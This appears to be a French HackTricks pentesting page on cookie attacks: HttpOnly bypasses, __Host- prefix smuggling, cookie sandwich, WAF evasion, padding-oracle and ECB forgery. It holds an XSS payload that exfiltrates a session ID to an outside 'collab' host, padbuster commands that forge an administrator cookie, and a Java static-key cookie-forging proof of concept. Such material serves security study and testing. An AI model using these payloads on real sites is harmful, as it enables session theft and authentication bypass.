Cookies Hacking
Reading time: 22 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Attributs des cookies
Les cookies possÚdent plusieurs attributs qui contrÎlent leur comportement dans le navigateur de l'utilisateur. Voici un aperçu de ces attributs, formulé de maniÚre plus passive :
Expires and Max-Age
La date d'expiration d'un cookie est déterminée par l'attribut Expires
. Ă l'inverse, l'attribut Max-age
définit le temps en secondes avant qu'un cookie ne soit supprimé. Privilégier Max-age
car il reflĂšte des pratiques plus modernes.
Domain
Les hÎtes destinataires d'un cookie sont spécifiés par l'attribut Domain
. Par défaut, ceci est défini sur l'hÎte qui a émis le cookie, sans inclure ses sous-domaines. Cependant, lorsqu'on définit explicitement l'attribut Domain
, il englobe aussi les sous-domaines. Cela rend la spécification de l'attribut Domain
moins restrictive, utile lorsque le partage de cookies entre sous-domaines est nécessaire. Par exemple, définir Domain=mozilla.org
rend les cookies accessibles sur ses sous-domaines comme developer.mozilla.org
.
Path
Un chemin d'URL spĂ©cifique qui doit ĂȘtre prĂ©sent dans l'URL demandĂ©e pour que l'en-tĂȘte Cookie
soit envoyé est indiqué par l'attribut Path
. Cet attribut considĂšre le caractĂšre /
comme séparateur de répertoire, permettant des correspondances dans les sous-répertoires également.
RĂšgles d'ordre
Lorsque deux cookies portent le mĂȘme nom, celui choisi pour l'envoi est dĂ©terminĂ© par :
- Le cookie correspondant au chemin le plus long dans l'URL demandée.
- Le cookie le plus récemment défini si les chemins sont identiques.
SameSite
- L'attribut
SameSite
dicte si les cookies sont envoyĂ©s sur des requĂȘtes provenant de domaines tiers. Il propose trois rĂ©glages : - Strict : EmpĂȘche l'envoi du cookie sur des requĂȘtes tierces.
- Lax : Autorise l'envoi du cookie avec des requĂȘtes GET initiĂ©es par des sites tiers.
- None : Permet l'envoi du cookie depuis n'importe quel domaine tiers.
Rappelez-vous que, lors de la configuration des cookies, la compréhension de ces attributs aide à garantir qu'ils se comportent comme prévu dans différents scénarios.
Type de requĂȘte | Code d'exemple | Cookies envoyĂ©s quand |
---|---|---|
Lien | <a href="..."></a> | NotSet*, Lax, None |
Prerender | <link rel="prerender" href=".."/> | NotSet*, Lax, None |
Formulaire GET | <form method="GET" action="..."> | NotSet*, Lax, None |
Formulaire POST | <form method="POST" action="..."> | NotSet*, None |
iframe | <iframe src="..."></iframe> | NotSet*, None |
AJAX | $.get("...") | NotSet*, None |
Image | <img src="..."> | NetSet*, None |
Table from Invicti and slightly modified.
Un cookie avec l'attribut SameSite permettra de mitiger les attaques CSRF nécessitant une session authentifiée.
*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Remarquez que temporairement, aprĂšs l'application de ce changement, les cookies without a SameSite policy dans Chrome seront treated as None pendant les 2 premiĂšres minutes, puis treated as Lax pour les requĂȘtes POST cross-site de niveau top-level.
Drapeaux des cookies
HttpOnly
Cela empĂȘche le client d'accĂ©der au cookie (via Javascript par exemple : document.cookie
)
Contournements
- Si la page renvoie les cookies dans la rĂ©ponse d'une requĂȘte (par exemple dans une page PHPinfo), il est possible d'abuser d'un XSS pour envoyer une requĂȘte vers cette page et voler les cookies depuis la rĂ©ponse (voir un exemple sur https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
- Cela peut ĂȘtre contournĂ© avec des requĂȘtes TRACE HTTP car la rĂ©ponse du serveur (si cette mĂ©thode HTTP est disponible) reflĂ©tera les cookies envoyĂ©s. Cette technique s'appelle Cross-Site Tracking.
- Cette technique est Ă©vitĂ©e par les navigateurs modernes en n'autorisant pas l'envoi d'une requĂȘte TRACE depuis JS. Cependant, certains contournements ont Ă©tĂ© trouvĂ©s dans des logiciels spĂ©cifiques, comme l'envoi de
\r\nTRACE
au lieu deTRACE
sur IE6.0 SP2. - Une autre voie est l'exploitation de vulnérabilités zero/day des navigateurs.
- Il est possible de écraser des cookies HttpOnly en réalisant une attaque de Cookie Jar overflow :
- Il est possible d'utiliser une attaque de Cookie Smuggling pour exfiltrer ces cookies.
- Si un endpoint cÎté serveur renvoie l'ID de session brut dans la réponse HTTP (par ex., à l'intérieur de commentaires HTML ou d'un bloc de debug), il est possible de contourner HttpOnly en utilisant un gadget XSS pour fetcher cet endpoint, extraire le secret via regex, et l'exfiltrer. Exemple de pattern de payload XSS :
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
Secure
La requĂȘte n'enverra le cookie dans une requĂȘte HTTP que si celle-ci est transmise via un canal sĂ©curisĂ© (gĂ©nĂ©ralement HTTPS).
Préfixes de cookies
Les cookies préfixés par __Secure-
doivent ĂȘtre dĂ©finis avec le drapeau secure
depuis des pages sécurisées par HTTPS.
Pour les cookies préfixés par __Host-
, plusieurs conditions doivent ĂȘtre remplies :
- Ils doivent ĂȘtre dĂ©finis avec le drapeau
secure
. - Ils doivent provenir d'une page sécurisée par HTTPS.
- Il leur est interdit de spĂ©cifier un domaine, empĂȘchant ainsi leur transmission vers des sous-domaines.
- Le chemin pour ces cookies doit ĂȘtre dĂ©fini sur
/
.
Il est important de noter que les cookies préfixés par __Host-
ne peuvent pas ĂȘtre envoyĂ©s vers des superdomaines ou des sous-domaines. Cette restriction aide Ă isoler les cookies d'application. Ainsi, utiliser le prĂ©fixe __Host-
pour tous les cookies d'application peut ĂȘtre considĂ©rĂ© comme une bonne pratique pour amĂ©liorer la sĂ©curitĂ© et l'isolation.
Ăcrasement des cookies
Ainsi, une des protections des cookies préfixés par __Host-
est d'empĂȘcher qu'ils soient Ă©crasĂ©s depuis des sous-domaines. Cela prĂ©vient, par exemple, les Cookie Tossing attacks. Dans la confĂ©rence Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) il est montrĂ© qu'il Ă©tait possible de dĂ©finir des cookies prĂ©fixĂ©s par __HOST- depuis un sous-domaine en trompant le parseur, par exemple en ajoutant "=" au dĂ©but ou au dĂ©but et Ă la fin...:
 (1) (1) (1) (1).png)
Ou en PHP il Ă©tait possible d'ajouter d'autres caractĂšres au dĂ©but du nom du cookie qui allaient ĂȘtre remplacĂ©s par des underscores, permettant d'Ă©craser les cookies __HOST-
:
 (1) (1) (1) (1).png)
Unicode whitespace cookie-name smuggling (prefix forgery)
Exploiter les divergences entre l'analyse du navigateur et du serveur en préfixant le nom du cookie par un point de code d'espace blanc Unicode. Le navigateur ne considérera pas que le nom commence littéralement par __Host-
/__Secure-
, ce qui permet de le dĂ©finir depuis un sous-domaine. Si le backend tronque/normalise les espaces blancs Unicode en tĂȘte des clĂ©s de cookie, il verra le nom protĂ©gĂ© et pourra Ă©craser le cookie Ă privilĂšges Ă©levĂ©s.
- PoC depuis un sous-domaine pouvant définir des cookies du domaine parent :
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;
-
Comportement typique cÎté backend qui permet ce problÚme :
-
Frameworks qui tronquent/normalisent les clĂ©s des cookies. Dans Django, Pythonâs
str.strip()
supprime un large éventail de points de code d'espacement Unicode, ce qui normalise le nom en__Host-name
. -
Les points de code couramment supprimĂ©s incluent : U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000âU+200A (8192â8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).
-
De nombreux frameworks rĂ©solvent les noms de cookies en doublon par âlast winsâ, donc la valeur du cookie normalisĂ©e contrĂŽlĂ©e par l'attaquant Ă©crase celle lĂ©gitime.
-
Les différences entre navigateurs comptent :
-
Safari bloque les espaces Unicode multioctets dans les noms de cookie (par ex., refuse U+2000) mais permet encore les octets simples U+0085 et U+00A0, que bon nombre de backends suppriment. Testez sur plusieurs navigateurs.
-
Impact : Permet d'écraser les cookies
__Host-
/__Secure-
depuis des contextes moins fiables (sous-domaines), ce qui peut mener à XSS (si reflété), à l'écrasement de tokens CSRF, et à une fixation de session. -
Exemple on-the-wire vs vue serveur (U+2000 présent dans le nom) :
Cookie: __Host-name=Real; ĂąâŹâŹ__Host-name=<img src=x onerror=alert(1)>;
De nombreux backends découpent/analysent puis retirent les espaces, ce qui fait que le __Host-name
normalisé prend la valeur fournie par l'attaquant.
Legacy $Version=1
cookie splitting on Java backends (prefix bypass)
Certaines stacks Java (p.ex., Tomcat/Jetty-style) activent encore le parsing legacy RFC 2109/2965 lorsque l'en-tĂȘte Cookie
commence par $Version=1
. Cela peut amener le serveur à réinterpréter une unique chaßne de cookie comme plusieurs cookies logiques et accepter une entrée __Host-
falsifiĂ©e qui avait Ă©tĂ© initialement dĂ©finie depuis un sous-domaine ou mĂȘme depuis une origine non sĂ©curisĂ©e.
- PoC forcing legacy parsing:
document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;
-
Pourquoi ça fonctionne :
-
Les vĂ©rifications de prĂ©fixe cĂŽtĂ© client s'appliquent lors de l'enregistrement, mais le parsing legacy cĂŽtĂ© serveur scinde et normalise ensuite l'en-tĂȘte, contournant l'intention des garanties de prĂ©fixe
__Host-
/__Secure-
. -
OĂč essayer : Tomcat, Jetty, Undertow, ou des frameworks qui honorent encore les attributs RFC 2109/2965. Combiner avec la sĂ©mantique d'Ă©crasement par nom dupliquĂ©.
Primitive d'écrasement last-wins pour nom dupliqué
Quand deux cookies se normalisent au mĂȘme nom, beaucoup de backends (y compris Django) utilisent la derniĂšre occurrence. AprĂšs que le smuggling/legacy-splitting ait produit deux noms __Host-*
, celui contrÎlé par l'attaquant gagnera généralement.
Détection et outils
Utilisez Burp Suite pour tester ces conditions :
- Essayez plusieurs points de code d'espaces Unicode en tĂȘte : U+2000, U+0085, U+00A0 et observez si le backend tronque et traite le nom comme prĂ©fixĂ©.
- Envoyez
$Version=1
en premier dans l'en-tĂȘte Cookie et vĂ©rifiez si le backend effectue le legacy splitting/normalization. - Observez si c'est le premier ou le dernier qui l'emporte en injectant deux cookies qui se normalisent au mĂȘme nom.
- Action personnalisée Burp pour automatiser ceci : CookiePrefixBypass.bambda
Astuce : Ces techniques exploitent l'Ă©cart octet-vs-string de RFC 6265 : les navigateurs envoient des octets ; les serveurs dĂ©codent et peuvent normaliser/tronquer. Les discordances dans le dĂ©codage et la normalisation sont au cĆur du contournement.
Attaques sur les cookies
Si un cookie personnalisĂ© contient des donnĂ©es sensibles, vĂ©rifiez-le (surtout si vous participez Ă un CTF), car il pourrait ĂȘtre vulnĂ©rable.
Décodage et manipulation des cookies
Les donnĂ©es sensibles intĂ©grĂ©es dans les cookies doivent toujours ĂȘtre examinĂ©es. Les cookies encodĂ©s en Base64 ou dans des formats similaires peuvent souvent ĂȘtre dĂ©codĂ©s. Cette vulnĂ©rabilitĂ© permet Ă un attaquant d'altĂ©rer le contenu du cookie et d'usurper d'autres utilisateurs en rĂ©-encodant leurs donnĂ©es modifiĂ©es dans le cookie.
Détournement de session
Cette attaque consiste à voler le cookie d'un utilisateur pour obtenir un accÚs non autorisé à son compte dans une application. En utilisant le cookie volé, un attaquant peut usurper l'identité de l'utilisateur légitime.
Fixation de session
Dans ce scénario, un attaquant trompe une victime pour qu'elle utilise un cookie spécifique pour se connecter. Si l'application n'assigne pas un nouveau cookie lors de la connexion, l'attaquant, possédant le cookie original, peut usurper la victime. Cette technique repose sur le fait que la victime se connecte avec un cookie fourni par l'attaquant.
If you found an XSS in a subdomain or you control a subdomain, read:
Donation de session
Ici, l'attaquant convainc la victime d'utiliser le cookie de session de l'attaquant. La victime, croyant ĂȘtre connectĂ©e Ă son propre compte, effectuera involontairement des actions dans le contexte du compte de l'attaquant.
If you found an XSS in a subdomain or you control a subdomain, read:
JWT Cookies
Cliquez sur le lien précédent pour accéder à une page expliquant les failles possibles dans JWT.
Les JSON Web Tokens (JWT) utilisés dans les cookies peuvent également présenter des vulnérabilités. Pour des informations approfondies sur les failles potentielles et comment les exploiter, il est recommandé de consulter le document lié sur hacking JWT.
Cross-Site Request Forgery (CSRF)
Cette attaque force un utilisateur connectĂ© Ă exĂ©cuter des actions indĂ©sirables sur une application web dans laquelle il est actuellement authentifiĂ©. Les attaquants peuvent exploiter les cookies qui sont automatiquement envoyĂ©s avec chaque requĂȘte vers le site vulnĂ©rable.
Cookies vides
(Voir plus de dĂ©tails dans la original research) Les navigateurs permettent la crĂ©ation de cookies sans nom, ce qui peut ĂȘtre dĂ©montrĂ© via JavaScript comme suit:
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
Le rĂ©sultat dans l'en-tĂȘte Cookie envoyĂ© est a=v1; test value; b=v2;
. Fait intéressant, cela permet la manipulation des cookies si un cookie au nom vide est défini, permettant potentiellement de contrÎler d'autres cookies en définissant le cookie vide sur une valeur spécifique :
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
Cela conduit le navigateur Ă envoyer un en-tĂȘte Cookie interprĂ©tĂ© par chaque serveur web comme un cookie nommĂ© a
avec une valeur b
.
Bug Chrome : problĂšme de point de code surrogate Unicode
Dans Chrome, si un Unicode surrogate codepoint fait partie d'un set cookie, document.cookie
devient corrompu et renvoie ensuite une chaĂźne vide :
document.cookie = "\ud800=meep"
Cela entraĂźne que document.cookie
renvoie une chaĂźne vide, indiquant une corruption permanente.
Cookie Smuggling en raison de problĂšmes d'analyse
(Consultez plus de dĂ©tails dans laoriginal research) Plusieurs serveurs web, y compris ceux pour Java (Jetty, TomCat, Undertow) et Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gĂšrent mal les cookie strings en raison d'un support obsolĂšte de RFC2965. Ils lisent une valeur de cookie entre guillemets doubles comme une seule valeur mĂȘme si elle contient des point-virgules, qui devraient normalement sĂ©parer des paires clĂ©-valeur :
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
Cookie Injection Vulnerabilities
(Check further details in theoriginal research) L'analyse incorrecte des cookies par certains serveurs, notamment Undertow, Zope, et ceux utilisant Python's http.cookie.SimpleCookie
et http.cookie.BaseCookie
, crée des opportunités d'attaques d'injection de cookie. Ces serveurs ne délimitent pas correctement le début des nouveaux cookies, permettant aux attaquants de falsifier des cookies :
- Undertow attend un nouveau cookie immédiatement aprÚs une valeur entre guillemets sans point-virgule.
- Zope cherche une virgule pour commencer Ă parser le cookie suivant.
- Les classes cookie de Python commencent Ă parser sur un caractĂšre espace.
Cette vulnĂ©rabilitĂ© est particuliĂšrement dangereuse dans les applications web qui reposent sur une protection CSRF basĂ©e sur les cookies, car elle permet aux attaquants d'injecter des cookies de type CSRF-token falsifiĂ©s, contournant potentiellement les mesures de sĂ©curitĂ©. Le problĂšme est aggravĂ© par la gestion par Python des noms de cookie en double, oĂč la derniĂšre occurrence Ă©crase les prĂ©cĂ©dentes. Cela soulĂšve aussi des inquiĂ©tudes pour les cookies __Secure-
et __Host-
dans des contextes non sĂ©curisĂ©s et peut conduire Ă des contournements d'autorisation lorsque des cookies sont transmis Ă des serveurs back-end susceptibles d'ĂȘtre spoofĂ©s.
Cookies $version
WAF Bypass
According to this blogpost, it might be possible to use the cookie attribute $Version=1
to make the backend use an old logic to parse the cookie due to the RFC2109. Moreover, other values just as $Domain
and $Path
can be used to modify the behaviour of the backend with the cookie.
Cookie Sandwich Attack
According to this blogpost it's possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps:
- Trouver un endroit oĂč un cookie apparemment inutile est reflĂ©tĂ© dans la rĂ©ponse
- Create a cookie called
$Version
with value1
(ou can do this in a XSS attack from JS) with a more specific path so it gets the initial possition (some frameworks like python donât need this step) - Create the cookie that is reflected with a value that leaves an open double quotes and with a specific path so itâs positioned in the cookie db after the previous one (
$Version
) - Then, the legit cookie will go next in the order
- Create a dummy cookie that closes the double quotse inside its value
De cette façon, le cookie victime se retrouve piégé à l'intérieur du nouveau cookie version 1 et sera reflété chaque fois qu'il est reflété. e.g. from the post:
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;
WAF bypasses
Cookies $version
Voir la section précédente.
Bypassing value analysis with quoted-string encoding
Cette analyse indique de dĂ©sĂ©chapper les valeurs Ă©chappĂ©es Ă l'intĂ©rieur des cookies, donc "\a" devient "a". Cela peut ĂȘtre utile pour contourner les WAFs comme :
eval('test') => forbidden
"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed
Bypassing cookie-name blocklists
Dans le RFC2109, il est indiquĂ© qu'une virgule peut ĂȘtre utilisĂ©e comme sĂ©parateur entre les valeurs de cookie. Il est aussi possible d'ajouter espaces et tabulations avant et aprĂšs le signe Ă©gal. Par consĂ©quent un cookie comme $Version=1; foo=bar, abc = qux
ne génÚre pas le cookie "foo":"bar, admin = qux"
mais les cookies "foo":"bar"
et "admin":"qux"
. Remarquez comment deux cookies sont générés et comment l'espace avant et aprÚs le signe égal pour admin a été retiré.
Bypassing value analysis with cookie splitting
Enfin, différents backdoors joindraient dans une string différents cookies passés dans différents cookie headers comme dans :
GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
Ce qui pourrait permettre de bypass un WAF comme dans cet exemple :
Cookie: name=eval('test//
Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed
Vérifications supplémentaires pour cookies vulnérables
Vérifications de base
- Le cookie est le mĂȘme Ă chaque login.
- Se dĂ©connecter et essayer d'utiliser le mĂȘme cookie.
- Essayez de vous connecter avec 2 appareils (ou navigateurs) au mĂȘme compte en utilisant le mĂȘme cookie.
- Vérifiez si le cookie contient des informations et essayez de les modifier.
- Essayez de créer plusieurs accounts avec des username presque identiques et vérifiez si vous pouvez voir des similarités.
- VĂ©rifiez l'option "remember me" si elle existe pour voir comment elle fonctionne. Si elle existe et peut ĂȘtre vulnĂ©rable, utilisez toujours le cookie de remember me sans aucun autre cookie.
- VĂ©rifiez si le cookie prĂ©cĂ©dent fonctionne mĂȘme aprĂšs avoir changĂ© le password.
Attaques avancées sur les cookies
Si le cookie reste le mĂȘme (ou presque) lorsque vous vous connectez, cela signifie probablement que le cookie est liĂ© Ă un champ de votre account (probablement le username). Vous pouvez alors :
- Essayez de créer beaucoup de accounts avec des username trÚs similaires et tentez de deviner comment l'algorithme fonctionne.
- Essayez de bruteforce the username. Si le cookie sert uniquement comme méthode d'authentification pour votre username, alors vous pouvez créer un account avec le username "Bmin" et bruteforce chaque bit de votre cookie car l'un des cookies que vous testerez sera celui appartenant à "admin".
- Essayez Padding Oracle (vous pouvez décrypter le contenu du cookie). Utilisez padbuster.
Padding Oracle - exemples avec Padbuster
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf
# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
Padbuster effectuera plusieurs tentatives et vous demandera quelle condition est la condition d'erreur (celle qui n'est pas valide).
Ensuite, il commencera decrypting the cookie (cela peut prendre plusieurs minutes)
Si l'attaque a été menée avec succÚs, vous pourrez essayer de encrypt une chaßne de votre choix. Par exemple, si vous souhaitez encrypt user=administrator
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
Cette exécution vous donnera le cookie correctement chiffré et encodé contenant la chaßne user=administrator à l'intérieur.
CBC-MAC
Il se peut qu'un cookie ait une valeur et soit signĂ© en utilisant CBC. Alors, l'intĂ©gritĂ© de la valeur est la signature créée en utilisant CBC avec la mĂȘme valeur. Comme il est recommandĂ© d'utiliser comme IV un vecteur nul, ce type de vĂ©rification d'intĂ©gritĂ© pourrait ĂȘtre vulnĂ©rable.
L'attaque
- Obtenir la signature du username administ = t
- Obtenir la signature du username rator\x00\x00\x00 XOR t = t'
- Placer dans le cookie la valeur administrator+t' (t' sera une signature valide de (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00)
ECB
Si le cookie est chiffrĂ© en utilisant ECB il pourrait ĂȘtre vulnĂ©rable.
Lors de la connexion le cookie que vous recevez doit toujours ĂȘtre le mĂȘme.
Comment détecter et attaquer :
CrĂ©ez 2 users avec presque les mĂȘmes donnĂ©es (username, password, email, etc.) et essayez de dĂ©couvrir un motif dans le cookie fourni
CrĂ©ez un user appelĂ© par exemple "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" et vĂ©rifiez s'il y a un motif dans le cookie (comme ECB chiffre avec la mĂȘme clĂ© chaque bloc, les mĂȘmes octets chiffrĂ©s pourraient apparaĂźtre si le username est chiffrĂ©).
Il devrait y avoir un motif (de la taille d'un bloc utilisé). Donc, en sachant comment un paquet de "a" est chiffré vous pouvez créer un username : "a"*(size of the block)+"admin". Ensuite, vous pouvez supprimer le motif chiffré d'un bloc de "a" du cookie. Et vous aurez le cookie du username "admin".
Static-key cookie forgery (symmetric encryption of predictable IDs)
Certaines applications créent des cookies d'authentification en ne chiffrant qu'une valeur prédictible (par ex., l'ID utilisateur numérique) sous une clé symétrique globale et hard-coded, puis encodent le ciphertext (hex/base64). Si la clé est statique par produit (ou par installation), n'importe qui peut forger des cookies pour des users arbitraires hors ligne et contourner l'authentification.
How to test/forge
- Identify the cookie(s) that gate auth, e.g., COOKIEID and ADMINCOOKIEID.
- Determine cipher/encoding. In one real-world case the app used IDEA with a constant 16-byte key and returned the ciphertext as hex.
- Verify by encrypting your own user ID and comparing with the issued cookie. If it matches, you can mint cookies for any target ID (1 often maps to the first admin).
- Set the forged value directly as the cookie and browse; no credentials are needed.
Minimal Java PoC (IDEA + hex) utilisé en conditions réelles
import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;
public class App {
private String ideaKey = "1234567890123456"; // example static key
public String encode(char[] plainArray) { return encode(new String(plainArray)); }
public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}
public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}
public void setKey(String key) { this.ideaKey = key; }
}
Références
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- https://blog.ankursundara.com/cookie-bugs/
- https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
- https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
- https://seclists.org/webappsec/2006/q2/181
- https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- Cookie Chaos: How to bypass __Host and __Secure cookie prefixes
- Burp Custom Action â CookiePrefixBypass.bambda
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.